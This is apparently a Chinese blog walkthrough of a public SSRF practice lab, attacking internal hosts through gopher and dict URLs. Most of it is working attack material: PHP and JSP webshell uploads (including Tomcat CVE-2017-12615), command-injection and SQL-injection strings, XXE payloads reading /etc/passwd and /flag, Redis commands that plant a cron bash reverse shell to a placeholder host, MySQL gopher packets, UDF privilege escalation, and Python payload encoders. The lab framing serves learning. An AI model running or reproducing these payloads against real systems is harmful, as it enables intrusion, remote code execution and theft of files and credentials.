background

之前通过国光师傅的靶场学习过ssrf的一些打法,在前几天暗月师傅的中秋打靶活动中用到了ssrf打me来getshell。我也是第一次接触到ssrf打me,于是就好好的记录一下ssrf的打法,发到我的blog上,以下大多数内容都是去年11月份完成的。
靶场地址:https://github.com/sqlsec/ssrf-vuls
原文链接:https://www.sqlsec.com/2021/05/ssrf.html

靶场拓扑图

这是靶场的拓扑图,就是用一个ssrf的点位来打内网的这些服务。
2023-09-23T02:26:54.png

漏洞点

2023-09-23T02:38:40.png

获取网段信息

file:///etc/hosts

高权限还可以读取
/proc/net/arp
/etc/network/interfaces

探测存活

使用dict协议可判断端口是否开放
dict://182.168.1.1:80
2023-09-23T04:46:51.png

172.172.0.25(文件上传)

别人新增的环境
文件上传
2023-09-23T02:39:33.png
这里上传文件 是要用到post请求的 所以需要使用gopher协议来进行请求
2023-09-23T02:39:46.png
构造请求包

POST /index.php HTTP/1.1
Host: 172.172.0.25
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------366526997929888593612637346172
Content-Length: 259
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------366526997929888593612637346172
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php
eval($_GET[1]);
?>
-----------------------------366526997929888593612637346172--

判断POST数据的实际长度

str=input("请输入post提交的数据:")
print("数据长度是:",len(str))

使用脚本编码后一把梭

import urllib.parse
payload =\
"""POST /index.php HTTP/1.1
Host: 172.172.0.25
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------366526997929888593612637346172
Content-Length: 259
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------366526997929888593612637346172
Content-Disposition: form-data; name="file"; filename="api.php"
Content-Type: application/octet-stream

<?php
eval($_GET[1]);
?>
-----------------------------366526997929888593612637346172--
"""
# 注意Content-Length需要改为实际的长度
tmp = urllib.parse.quote(payload)
tmp=tmp.replace('%3A',':')
tmp=tmp.replace('%0A','%0D%0A')
tmp = urllib.parse.quote(tmp)
tmp=tmp.replace('%3A',':')
result = 'gopher://172.172.0.25:80/'+'_'+tmp
print(result)

根据情况 可以删掉Accept-Encoding: gzip, deflate后手动url编码再请求
成功写入shell
2023-09-23T02:41:21.png
访问马子并执行命令

POST /?username=admin HTTP/1.1
Host: 192.168.245.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1221
Origin: http://192.168.245.129
Connection: close
Referer: http://192.168.245.129/?username=admin
Upgrade-Insecure-Requests: 1

url=gopher://172.172.0.25:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost:%2520172.172.0.25%250D%250AUser-Agent:%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv:106.0%2529%2520Gecko/20100101%2520Firefox/106.0%250D%250AAccept:%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language:%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AContent-Type:%2520multipart/form-data%253B%2520boundary%253D---------------------------366526997929888593612637346172%250D%250AContent-Length:%2520259%250D%250AConnection:%2520close%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------366526997929888593612637346172%250D%250AContent-Disposition:%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522rce.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_GET%255B1%255D%2529%253B%250D%250A%253F%253E%250D%250A-----------------------------366526997929888593612637346172--%250D%250A

2023-09-23T02:42:14.png

172.72.23.22(GET命令执行)

2023-09-23T02:44:20.png
网站存在但是没东西 我们先扫一下路径
2023-09-23T02:44:51.png
白给的一道题了
2023-09-23T02:45:11.png
url=http://172.72.23.22/shell.php?cmd=cat${IFS}/flag
2023-09-23T02:45:25.png
其实这里就是简单的使用ssrf去转发get请求的流量

172.72.23.23(sql注入)

给了我们传参的方式和参数
2023-09-23T02:46:18.png
2023-09-23T02:46:33.png
fuzz一下发现过滤了空格 使用报错注入拿flag

http://172.72.23.23?id=1'and/**/updatexml(0x7e,concat(0x7e,(select/**/group_concat(substr(content,1,30))/**/from/**/flag_is_here),0x7e),0)/**/or'

http://172.72.23.23?id=1'and/**/updatexml(0x7e,concat(0x7e,(select/**/group_concat(substr(content,31,60))/**/from/**/flag_is_here),0x7e),0)/**/or'

2023-09-23T02:47:15.png
2023-09-23T02:47:21.png
这里注入用的是GET方式,实际中可能是POST,但方法跟上面一样

172.72.23.24(POST命令执行)

post请求ip参数
2023-09-23T02:48:23.png
用脚本构造数据包 一定要删除Accept-Encoding: gzip, deflate
不然会乱码 因为会进行两次编码
Content-Length长度一定要正确

a=input('输入要判断的信息:')
print('Content-Length为:',len(a))
import urllib.parse
payload =\
"""POST / HTTP/1.1
Host: 172.72.23.24:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Connection: close
Upgrade-Insecure-Requests: 1

ip=172.0.0.1|cat /etc/passwd
"""
# 注意Content-Length需要改为实际的长度
tmp = urllib.parse.quote(payload)
tmp=tmp.replace('%3A',':')
tmp=tmp.replace('%0A','%0D%0A')
tmp = urllib.parse.quote(tmp)
tmp=tmp.replace('%3A',':')
result = 'gopher://172.72.23.24:80/'+'_'+tmp
print(result)

2023-09-23T02:49:19.png
读取flag

gopher://172.72.23.24:80/_POST%2520/%2520HTTP/1.1%250D%250AHost:%2520172.72.23.24:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv:106.0%2529%2520Gecko/20100101%2520Firefox/106.0%250D%250AAccept:%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language:%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252022%250D%250AConnection:%2520close%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250Aip%253D172.0.0.1%257Ccat%2520/flag%250D%250A

2023-09-23T02:50:00.png

172.72.23.25(XXE)

很明显的XXE
2023-09-23T02:51:34.png
这里给出了请求方式 数据类型 请求结果
直接构造payload
post请求最基本的参数
地址
host
包的长度
编码方式

POST /doLogin.php HTTP/1.1
Host: 172.72.23.25
Content-Type: application/xml;charset=utf-8
Content-Length: 188

<?xml version="1.0"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<user><username>&xxe;</username><password>89</password></user>

关于content-length的长度问题
直接在burp的repeater模块里构造好数据包 会自动填充的
可以在返回的页面里面直接填数据然后发包,我们拦包就会得到我们要的数据,但是这个请求地址是直接请求到当前页面的,所以没用,但我们可以方便的拿到数据包然后转gopher格式
读flag

POST / HTTP/1.1
Host: 124.222.176.39:55555
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 528
Origin: http://124.222.176.39:55555
Connection: close
Referer: http://124.222.176.39:55555/
Upgrade-Insecure-Requests: 1

url=gopher://172.72.23.25:80/_POST%2520/doLogin.php%2520HTTP/1.1%250D%250AHost:%2520172.72.23.25%250D%250AContent-Type:%2520application/xml%253Bcharset%253Dutf-8%250D%250AContent-Length:%2520140%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520TEST%2520%255B%253C%2521ENTITY%2520xxe%2520SYSTEM%2520%2522file:///flag%2522%253E%255D%253E%250D%250A%253Cuser%253E%253Cusername%253E%2526xxe%253B%253C/username%253E%253Cpassword%253E89%253C/password%253E%253C/user%253E%250D%250A

2023-09-23T02:52:48.png

172.72.23.26(Tomcat put传文件CVE-2017-12615)

直接rce用put文件上传

PUT /shell.jsp/ HTTP/1.1
Host: 172.72.23.26:8080
Content-Length: 460

<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>

exp

gopher://172.72.23.26:8080/_PUT%2520/shell.jsp/%2520HTTP/1.1%250D%250AHost:%2520172.72.23.26:8080%250D%250AContent-Length:%2520460%250D%250A%250D%250A%253C%2525%250D%250A%2520%2520%2520%2520String%2520command%2520%253D%2520request.getParameter%2528%2522cmd%2522%2529%253B%250D%250A%2520%2520%2520%2520if%2528command%2520%2521%253D%2520null%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520java.io.InputStream%2520in%253DRuntime.getRuntime%2528%2529.exec%2528command%2529.getInputStream%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520int%2520a%2520%253D%2520-1%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520byte%255B%255D%2520b%2520%253D%2520new%2520byte%255B2048%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520out.print%2528%2522%253Cpre%253E%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520while%2528%2528a%253Din.read%2528b%2529%2529%2521%253D-1%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520out.println%2528new%2520String%2528b%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520out.print%2528%2522%253C/pre%253E%2522%2529%253B%250D%250A%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520out.print%2528%2522format:%2520xxx.jsp%253Fcmd%253DCommand%2522%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%2525%253E%250D%250A

一定要注意的是

PUT /shell.jsp/
不是
PUT /shell.jsp

2023-09-23T02:59:08.png

172.72.23.27(未授权访问打redis)

这里没有web服务 无法写入shell
我们使用计划任务反弹shell

#读取redis信息
dict://172.72.23.27:6379/info

# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root

# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"

# 保存上述操作
dict://172.72.23.27:6379/save

在burp下放包(防止浏览器编码的问题)
计划任务被成功写入,得shell
【这里就不放图了】

172.72.23.28(打有密码的redis)

直接lfi
2023-09-23T03:07:51.png
我们尝试读取redis的密码 redis密码常见的路径

/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf

2023-09-23T03:08:26.png
认证密码是否正确

url=dict://172.72.23.28:6379/auth P@ssw0rd

2023-09-23T03:08:51.png
dict不支持多行命令 所以只能使用gopher协议 抓取通信流量

socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379

2023-09-23T03:09:22.png
处理后得到了数据

*2\r
$4\r
auth\r
$8\r
P@ssw0rd\r
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$1\r
x\r
$21\r

<?php phpinfo(); ?>
\r
*1\r
$4\r
save\r

redis是使用的RESP协议 需要使用\r\n结束
2023-09-23T03:09:54.png
无论是\r还是\r\n结尾 都会显示长度错误,我不用\r\n直接编码两次请求就能成功执行

*2
$4
auth
$8
P@ssw0rd
*1
$8
flushall
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*3
$3
set
$1
x
$24
<?php eval($_GET[1]); ?>
*1
$4
save

我觉得$x代表了长度的话 那么\r\n算不算长度呢?如何区分\r\n是用户输入还是换行标识呢?
我试了空格\r\n也不行 但是文章里的师傅成功过 不清楚是什么原因
2023-09-23T03:11:07.png
一键利用脚本(对他生成的payload解码后发现他也没有\r\n 还有我的请求一直无响应是应为在最后我没有quit)

import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6788"
shell = "\n\n<?php phdsgrgregregreg();?>\n\n"
filename = "mo60.php"
path = "/var/www/html"
passwd = "P@ssw0rd"
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))

# print(payload)
print(urllib.parse.quote(payload))

通过计划任务反弹
2023-09-23T03:37:39.png

172.72.23.29(打未授权mysql)

手搓篇
原理:无密码的mysql支持一步到位
也就是发一个包就能拿到返回结果
2023-09-23T03:38:09.png
实验环境:
物理机windows设置无密码的mysql
虚拟机kali连接物理机的mysql

设置端口转发 将本机的4444端口转发到物理机的mysql3306端口上去

socat -v tcp-listen:4444,fork tcp-connect:192.168.207.32:3306

监听本地4444端口数据 并生成流量包

tcpdump -i lo port 4444 -w mysql.pcapng

请求获取flag

mysql -h 127.0.0.1 -P 4444 -uroot -e "select * from flag.flag;"

2023-09-23T03:40:09.png
wireshark打开数据包 追踪TCP流
2023-09-23T03:40:20.png
单独过滤出请求的包
2023-09-23T03:40:34.png
以原始数据的形式展示
2023-09-23T03:45:35.png
使用脚本编码

import sys

def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)

if __name__=="__main__":
s=sys.argv[1]
print(results(s))

直接python exp.py xxxxxxxx(这里接上原始数据就行)

到这一步我一直就打不通了 各种排错 我用gopherus生成payload去和我的payload对比
后来突然想起来 我本机是windows的 靶机是linux 能打通才怪了 我抓了windows的包 然后编码 请求 打不出flag 用同样的方法打Linux的就成功了
2023-09-23T03:52:59.png
2023-09-23T03:53:06.png

工具篇
无论windows还是Linux gopherus都能通杀 我惊呆了
Linux???
2023-09-23T03:53:34.png
2023-09-23T03:53:41.png
提权
然后使用udf进行提权 获取系统权限
这里使用gopherus没有成功 我试了很多遍都没有成功 看别人的博客 也有人说gopherus打不通
这里我觉得是16进制编码的问题 select直接写入的是16进制的东西 可能编码中出了点问题
使用tcpdump进行抓包(我直接windows连接远程然后wireshark抓包没打通)
按照上面的方法抓包,然后请求
2023-09-23T03:54:05.png

POST / HTTP/1.1
Host: 124.222.176.39:55555
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1886
Origin: http://124.222.176.39:55555
Connection: close
Referer: http://124.222.176.39:55555/
Upgrade-Insecure-Requests: 1

url=gopher://172.72.23.29:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%31%65%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%33%25%37%39%25%37%33%25%35%66%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%37%25%36%33%25%36%31%25%37%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%37%25%32%39%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

2023-09-23T03:54:50.png

UDF提权

其实也就是select去写入一个恶意文件,然后创建函数时加载这个恶意文件
查找mysql的插件目录

show variables like '%plugin%';

写入恶意so文件语句参考https://www.pwns.fun/web/tools/udf/index.html(国光原创的,我只是扒下来了)
同样的这里可以写入webshell,本质上都是写入文件。

创建函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

执行命令

select sys_eval('whoami');

2023-09-23T04:09:54.png

gopherus

自动生成gopher格式的数据,但是把他放到http里面去打的话需要在URL编码一次

https://github.com/tarunkant/Gopherus
git clone https://hub.fastgit.xyz/tarunkant/Gopherus.git
cd Gopherus
chmod +x install.sh
sudo ./install.sh

用法

python2 gopherus.py --exploit fast-cgi

可以打fast-cgi,redis,mysql等服务,gopherus只能在python2下面运行
打fast-cgi的演示
2023-09-23T04:16:21.png
将生成结果再次url编码,注意url编码的字母要大写
2023-09-23T04:17:02.png

DiscuzX3.2 ssrf打未授权访问Memcache

月师傅的靶场,是16,17年出来的洞了,我真的很佩服挖这些洞的大佬,我自己大概是永远也难挖出这种水平的洞了。这里只讲怎么样去打me,不看漏洞原理。其实都一样的,把序列化后的数据传进去直接生成就行了。
2023-09-23T04:37:03.png

其他的打法

国光师傅还提到了可以打 FTP、Zabbix这些应用,但gopherus的作者写出了除了这些还能打smtp
ftp的打法我在网上没找到过多的资料,看到一些文章好像讲的都是CTf题,我就先暂时不看了,毕竟我现在的方向不是安研了

当zabbix的配置EnableRemoteCommands = 1时,即可执行系统命令,gopherus直接打

2023-09-23T06:03:57.png

使用smtp发送邮件
2023-09-23T06:05:44.png